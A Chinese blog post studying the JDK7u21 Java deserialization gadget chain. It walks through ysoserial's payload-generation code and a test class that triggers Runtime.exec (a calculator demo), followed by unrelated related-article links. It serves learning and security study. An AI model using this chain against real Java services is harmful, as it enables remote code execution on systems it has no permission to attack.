JDK7u21反序列链学习
JDK7u21
1、前置知识
jdk7u21是一条不依赖CommonsCollections库依赖的,看利用链所有知识其实跟CommonsCollections也有重复,我们来学习一下以前没学过的类或者方法。环境是jdk7u17。
LinkedHashSet
首先入口是LinkedHashSet的readObject方法,LinkedHashSet是HashSet的子类,也继承了序列化接口和集合接口,但是LinkedHashSet是没有重写readObject方法的,所以LinkedHashSet调用的是HashSet的父类的readObject方法
//构造函数,可以看到是直接调用父类的方法
public LinkedHashSet(int initialCapacity) {
super(initialCapacity, .75f, true);
}
AnnotationInvocationHandler
hashCodeImpl
这个函数就是用来计算hashCode的,具体分析可以看POC调试,
private int hashCodeImpl() {
int var1 = 0;
Entry var3;
for(Iterator var2 = this.memberValues.entrySet().iterator(); var2.hasNext(); var1 += 127 * ((String)var3.getKey()).hashCode() ^ memberValueHashCode(var3.getValue())) {
var3 = (Entry)var2.next();
}
return var1;
}
memberValueHashCode
这个也是用来计算hashCode,可以看到里面都是调用hashCode方法,具体作用看POC调试
equalsImpl
用来通过invoke来执行我们的恶意代码,具体看POC调试
TemplatesImpl
getOutputProperties
其实getOutputProperties就是用来调用我们的newTransformer,然后就是跟cc链一样去实例化templates造成RCE
public synchronized Properties getOutputProperties() {
try {
return newTransformer().getOutputProperties();
}
catch (TransformerConfigurationException e) {
return null;
}
}
2、POC分析
2.1、利用链
/*
Gadget chain that works against JRE 1.7u21 and earlier. Payload generation has
the same JRE version requirements.
See: https://gist.github.com/frohoff/24af7913611f8406eaf3
Call tree:
LinkedHashSet.readObject()
LinkedHashSet.add()
...
TemplatesImpl.hashCode() (X)
LinkedHashSet.add()
...
Proxy(Templates).hashCode() (X)
AnnotationInvocationHandler.invoke() (X)
AnnotationInvocationHandler.hashCodeImpl() (X)
String.hashCode() (0)
AnnotationInvocationHandler.memberValueHashCode() (X)
TemplatesImpl.hashCode() (X)
Proxy(Templates).equals()
AnnotationInvocationHandler.invoke()
AnnotationInvocationHandler.equalsImpl()
Method.invoke()
...
TemplatesImpl.getOutputProperties()
TemplatesImpl.newTransformer()
TemplatesImpl.getTransletInstance()
TemplatesImpl.defineTransletClasses()
ClassLoader.defineClass()
Class.newInstance()
...
MaliciousClass.<clinit>()
...
Runtime.exec()
*/
2.2、POC分析
这里使用ysoserial来分析,看看大佬是怎么构造poc的,主函数在getObject方法里
public Object getObject(final String command) throws Exception {
final Object templates = Gadgets.createTemplatesImpl(command);
String zeroHashCodeStr = "f5a5a608";
HashMap map = new HashMap();
map.put(zeroHashCodeStr, "foo");
InvocationHandler tempHandler = (InvocationHandler) Reflections.getFirstCtor(Gadgets.ANN_INV_HANDLER_CLASS).newInstance(Override.class, map);
Reflections.setFieldValue(tempHandler, "type", Templates.class);
Templates proxy = Gadgets.createProxy(tempHandler, Templates.class);
LinkedHashSet set = new LinkedHashSet(); // maintain order
set.add(templates);
set.add(proxy);
Reflections.setFieldValue(templates, "_auxClasses", null);
Reflections.setFieldValue(templates, "_class", null);
map.put(zeroHashCodeStr, templates); // swap in real object
return set;
}
第一部分代码
final Object templates = Gadgets.createTemplatesImpl(command);
我们跟进createTemplatesImpl去看,判断为否,直接返回重载方法,除了命令,还传入了TemplatesImpl.class, AbstractTranslet.class, TransformerFactoryImpl.class,继续跟进
public static Object createTemplatesImpl ( final String command ) throws Exception {
if ( Boolean.parseBoolean(System.getProperty("properXalan", "false")) ) {
return createTemplatesImpl(
command,
Class.forName("org.apache.xalan.xsltc.trax.TemplatesImpl"),
Class.forName("org.apache.xalan.xsltc.runtime.AbstractTranslet"),
Class.forName("org.apache.xalan.xsltc.trax.TransformerFactoryImpl"));
}
return createTemplatesImpl(command, TemplatesImpl.class, AbstractTranslet.class, TransformerFactoryImpl.class);
}
首先是第一红框实例化了我们的TemplateImpl,然后使用javassit构造一个恶意类,首先创建一个类池,把StubTransletPayload和abstTranslet的路径插入类池,然后StubTransletPayload的名字创建一个类clazz。第二个红框就是把恶意代码嵌入恶意类,然后设置名字和父类abstTranslet,然后转成字节码赋值给classBytes
StubTransletPayload就是作者创造的一个静态类
我接着继续看,看代码的意思反射设置属性值,跟进去看看。
跟进来发现就是反射直射属性值,所以就是反射设置我们第一行创建的templates,然后设置属性_bytecodes、_name和_tfactor,然后就返回恶意的Templates
我们一个一个来看,其实前面两个在ComonsCollections链已经分析过,这里简单说明。
_name
在TemplateImpl里面的getTransletInstance,会有判断。继续进入当_class为null进入defineTransletClasses
_bytecodes
在defineTransletClasses,会有对_bytecodes判断,然后赋值给_class,返回getTransletInstance方法实例化_class。
_tfactor
看一个大佬的文章说是 在defineTransletClasses()
时会调用getExternalExtensionsMap()
,当为null时会报错,所以要对_tfactory
设值,但是在jdk7u17上并未发现,也许在其他版本,这里就不深究
其实这部分代码就是为了生成一个恶意的templates
第二部分代码
这部分就是新建一个HashMap,把一个特殊的字符串(“f5a5a608”)作为map的key,看属性的命令是说空的HashCode字符串,这里不做深究,调式在具体看
String zeroHashCodeStr = "f5a5a608";
HashMap map = new HashMap();
map.put(zeroHashCodeStr, "foo");
第三部分代码
InvocationHandler tempHandler = (InvocationHandler) Reflections.getFirstCtor(Gadgets.ANN_INV_HANDLER_CLASS).newInstance(Override.class, map);
Reflections.setFieldValue(tempHandler, "type", Templates.class);
Templates proxy = Gadgets.createProxy(tempHandler, Templates.class);
1.第一行获取AnnotationInvocationHandler的类型并且使用map作为参数,赋值给tempHandler
InvocationHandler tempHandler = (InvocationHandler) Reflections.getFirstCtor(Gadgets.ANN_INV_HANDLER_CLASS).newInstance(Override.class, map);
ANN_INV_HANDLER_CLASS就是AnnotationInvocationHandler类
getFirstCtor就是通过传入的名字反射获取结构体,newInstance就是通过getFirstCtor获取结果提然后根据传入的参数(map),创建一个实例
2.第二行反射 设置tempHandler的type的属性值为Templates.class,在getMeberMethods方法会用到
Reflections.setFieldValue(tempHandler, "type", Templates.class);
3.第三行就是创建代理,我们跟进去createProxy看看
Templates proxy = Gadgets.createProxy(tempHandler, Templates.class);
进来发现其实就是把传入的tempHandler(创建了一个代理),allIface就是接口类型(Templates.class)。
第四部分代码
创建一个LinkedHashSet,LinkedHashSet在前置知识有学习过,然后再LinkedHashSet存入两个变量,一个恶意类templates,一个代理类proxy,proxy里面其实就是一个map,然后反射设置属性_auxClasses、_class,这两个都是为了在TemplateImple的getTransletInstance方法不报错的。最后就是把map的key(zeroHashCodeStr)的值设置为templates
为啥最后才设置,真的可以加入swap内存里吗,自己去调试时发现是可以的
LinkedHashSet set = new LinkedHashSet(); // maintain order
set.add(templates);
set.add(proxy);
Reflections.setFieldValue(templates, "_auxClasses", null);
Reflections.setFieldValue(templates, "_class", null);
map.put(zeroHashCodeStr, templates); // swap in real object
ysoserial对代码进行很好的封装,自己以后写小工具,可以多借鉴大佬的这种封装思路。
2.3、POC调试
写个测试类
package ysoserial.test.payloads;
import org.apache.xalan.xsltc.trax.TemplatesImpl;
import ysoserial.payloads.Jdk7u21;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
public class Jdk7u21Test {
public static void main(String[] args) throws Exception {
Object calc = new Jdk7u21().getObject("open /System/Applications/Calculator.app");
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("test.ser"));
oos.writeObject(calc);
ObjectInputStream ois = new ObjectInputStream(new FileInputStream("test.ser"));
Object o = ois.readObject();
}
}
首先在HashSet处打下断点,就是先判断传入的类型是什么,传入的是LinkHashMap,就会新建一个LinkHashMap赋值给map,然后进入for循环反序列赋值给e变量(恶意的TemplateImpl),然后和空的Object对象一起存入map。LinkHashSet我们存入两个对象,分别是TemplateImpl和proxy,第一遍是TemplateImpl,我们继续跟进put方法。
其实进入到Hashmap的put方法,首先判断key是否为null,然后计算key(既TemplatesImpl)的hash,hash是833788266,然后调用indexFor方法传入hash和table的长度,table就是空entry如下图,我们跟进去
就是把hash和length进行位与运算然后直接返回,出来put的方法
得出i=10,进入for循环,上边说过table是空的,所以直接越过for循环,
然后就到了我们addEntry方法,传入hash、key(TemplatesImpl)、value、i(10),value是空的Object对象,我也跟进去看看
进来发现是LinkHashMap,其调用父类(HashMap)的方法,继续跟进
进入HashMap的addEntry方法--》createEntry创建一个entry,并且赋值给table。
然后就结束了,返回到readObject方法的第二次循环,map的key存放的是proxy,我们的代理对象(AnnotationInvocationHandler),继续跟进
我们要进入for循环,就是这条链最精华的部分,真实让i为我们上次传入的的值一模一样,这样table[i]才不为null,e不为null才能进入循环,就是”for (Entry<K,V> e = table[i]; e != null; e = e.next) “,我们继续跟进hash方法,key为Proxy,Proxy就是我们的AnnotationInvocationHandler
进入hash方法,就是k就是proxy,所以是proxy调用了hashCode()方法,就是AnnotationInvocationHandler调用了hashCode方法,因为代理对象会调用invoke方法,继续跟进
进入invoke方法后,会反射获取方法名(hashCode),判断是否为“equals”,负责就位根据方法名调用对象的方法,所以调用的是AnnotationInvocationHandler(this)的hashCodeImpl(),继续跟进
进入hashCodeImpl,发现var2是一个迭代器,迭代的是memberValues
this.memberValues为构造方法传入的map,(“f5a5a608”=templatesImpl)
我们继续来看for里面的判断语句
var3是通过第一遍循环通过var2赋值的,就是我们传入map(“f5a5a608”=templatesImpl)
就是var3的key的hashCode和var3的value值的hash值进行位异或操作,
var1 += 127 * ((String)var3.getKey()).hashCode() ^ memberValueHashCode(var3.getValue())
127 * ((String)var3.getKey()).hashCode() 为0,因为key为f5a5a608,f5a5a608的hashCode=0,我们跟进去
memberValueHashCode的参数就是templatesImpl,会调用templatesImpl的hashCode()方法,所以得到与第一循环完全一样的hashcode,我们跟进去计算一下,得到了855362136,怎跟我们算的不一样,答案是这是是hashCode,并不是hash方法,我们继续跟下去
所以使用0和templatesImpl的hashCode()进行异或运算得到就是templatesImpl的hashCode()
然后再hash方法中通过位异或运算
可以看到得出来的hash结果跟第一遍的833788266一样
最后我们成功进入到for循环里
我们来继续看if语句,只有e.hash == hash && ((k = e.key) == key为假,才会执行key.equals(k),我们的目的执行地
首先看e.hash == hash,e.hash就是我们第一次循环的templateImpl的hash,hash就是proxy(map(“f5a5a608”=templatesImpl))的hash,为ture
(k = e.key) == key,这个肯定不一样,为false,因为k=e.key是第一遍循环传入的templateImpl,key是第二遍循环传入的proxy
所以就会执行我们的key.equals(k),就是proxy.equals(templateImpl),到了这里又不得不说夸一句作者牛!
接下来我们继续跟进key.equals(k),就是proxy.equals(templateImpl),所以会进入到我们AnnotationInvocationHandler的invoke方法,
var1为代理对象,var3为TemplatesImpl
首先反射获取方法名,然后判断var4是否equals,肯定是的因为我们就是通过equals方法就来的,成功进入if,到了equalsImpl方法,参数是var3就是TemplatesImpl,就是this.equalsImpl(TemplatesImpl),继续跟进
进入equalsImpl方法,发现var5.invoke(var1),var1就是TemplatesImpl,var5是通过var2[],var2[]是this.getMeberMethods(),我们查看一下该方法。
进入后发现this.type就是我们赋值的TemplatesImpl对象,获取的就是newTransformer和getOutputProperties.
所以var2[]存的newTransformer和getOutputProperties.方法,第一遍循环拿到的是newTransformer方法
然后通过invoke,反射执行TemplatesImpl的newTransformer方法(可以看到var6是newTransformer),实例化我们的TemplatesImpl,造成远程代码执行,后面的就不跟进去了,不懂的可以看看CommonsCollections链
但是为啥没有进入getOutputProperties方法去,虽然进去的也是调用newTransformer,两个方法,第一个就是newTransformer,直接就远程代码执行了(在getOutputProperties打断点也没有用),也许jdk不同把,有大佬有其他答案望告知。
2.4、结束
通过这次学习jdk7u21发现作者的思路真的是很巧妙,借鉴很多大佬的经验,逻辑运算很多,细节很多。接下来就去学习调试fastjson。
参考链接
https://cnblogs.com/nice0e3/p/14026849.html
https://y4er.com/post/ysoserial-jdk7u21/
https://paper.seebug.org/1224/
JDK7u21反序列链学习的更多相关文章
- Fastjsonfan反序列链学习前置知识
Fastjson前置知识 Fastjson 是一个 Java 库,可以将 Java 对象转换为 JSON 格式,当然它也可以将 JSON 字符串转换为 Java 对象. Fastjson 可以操作任何 ...
- CommonsCollection2反序列链学习
CommonsCollection2 1.前置知识 CmonnosCollection2需要用到Javassist和PriorityQueue 1.1.Javassist Javassist是一个开源 ...
- GNU工具链学习笔记
GNU工具链学习笔记 1..so为动态链接库,.a为静态连接库.他们在Linux下按照ELF格式存储.ELF有四种文件类型.可重定位文件(Relocatable file,*.o,*.a),包含代码和 ...
- CommonsCollection6反序列化链学习
CommonsCollection6 1.前置知识 1.1.HashSet HashSet 基于 HashMap 来实现的,是一个不允许有重复元素的集合.继承了序列化和集合 构造函数参数为空的话创建一 ...
- C3P0反序列化链学习
C3P0 c3p0第一次听闻是用于fastjson的回显上,大佬们总结三种方法,后面两种主要就是用于fastjson和jackjson的回显利用(注入内存马) http base jndi hex序列 ...
- JS 原型链学习总结
废话篇: 在js的学习过程中有一大难点就是原型链.学习的时候一直对这一内容不是十分的明白.纠结的我简直难受.,幸好总算给他弄通了,哇咔咔,总算可以不用在睡梦中还想着他了. 正文篇: 要了解原型链我们首 ...
- JavaScript原型(链)学习笔记
javascript是基于原型的一门脚本语言,那究竟原型是什么? 本文将从以下几个方面重点阐述原型 构造函数是什么? 构造函数和我们常见的Array String有什么关系? 原型的使用? __pro ...
- JavaScript作用域(链)学习笔记
作用域是javascript老生常谈的问题,在面试题中也经常出现.此文记录本人对js作用域的理解.从以下三个方面深入探讨js作用域和js作用域链. 1.什么是作用域? 2.什么是作用域链? 3.常见面 ...
- 区块链学习笔记:D03 区块链在各行业领域的应用(一)
今天主要是学习了区块链在金融和供应链领域的应用,重点体现了区块链多方参与.透明可信.防篡改防抵赖的技术优势 区块链的应用场景最早是在金融行业应用较多,后续逐步扩展到传统行业,如:供应链.政务服务.物联 ...
随机推荐
- 1、如何抓取Modbus TCP/UDP 数据包实战
CEIWEI最近发布了Modbus RTU Over TCP/UDP 过滤监控的新工具,下面以Modbus RTU TCP为示例,讲解如何抓取Modbus通信数据包,因为CEIWEI ModbusMo ...
- NaviCat连接提示驱动程序IM004错误
今天一打开NaviCat提示驱动程序IM004错误,百度了好几种方法都不起作用,多次尝试后总结出一套方法: 一.到控制面板--卸载程序--卸载NaviCat Clien 注意可能有多个版本的,2008 ...
- 字符串的高级应用-char a[100] = "1+2=;3-2=;2*5=;8/4=;" 得到char a[100] ="1+2=3;3-2=1;2*5=10;8/4=2;"
1 #include<stdio.h> 2 #include<string.h> 3 4 int main() 5 { 6 char a[100] = "1+2=;3 ...
- python爬取网络中的QQ号码
import urllib.request import ssl import re import os #博客地址:https://blog.csdn.net/qq_36374896 def wri ...
- Linux下面有7个运行等级 run level
Linux下面有7个运行等级 run level run level 0 系统停机状态,系统默认运行级别不能设为0,否则不能正常启动 run level 1 单用户工作状态,root权限,用于系 ...
- 基于COLA架构的电商财务系统-总
财务 清算-clearing 对账-check 结算-settle 平账-correct 划拨-remit 包划分 按照COLA规则进行划分,综合考虑功能和领域两个维度包结构定义 技术参考 dddpl ...
- 前端工程化 Webpack基础
前端工程化 模块化 (js模块化,css模块化,其他资源模块化) 组件化 (复用现有的UI结构.样式.行为) 规范化 (目录结构的划分.编码规范化.接口规范化.文档规范化.Git分支管理) 自动化 ( ...
- Intellij IDEA实现SpringBoot项目多端口启动的两种方法
有时候使用springboot项目时遇到这样一种情况,用一个项目需要复制很多遍进行测试,除了端口号不同以外,没有任何不同.遇到这种情况怎么办呢?这时候可以使用Intellij IDEA解决 前言 有时 ...
- 详细描述一下 Elasticsearch 索引文档的过程 ?
面试官:想了解 ES 的底层原理,不再只关注业务层面了. 解答: 这里的索引文档应该理解为文档写入 ES,创建索引的过程. 文档写入包含:单文档写入和批量 bulk 写入,这里只解释一下:单文档写入流 ...
- 在 Java 中 CycliBarriar 和 CountdownLatch 有什么区别?
CyclicBarrier 可以重复使用,而 CountdownLatch 不能重复使用. Java 的 concurrent 包里面的 CountDownLatch 其实可以把它看作一个计数器, 只 ...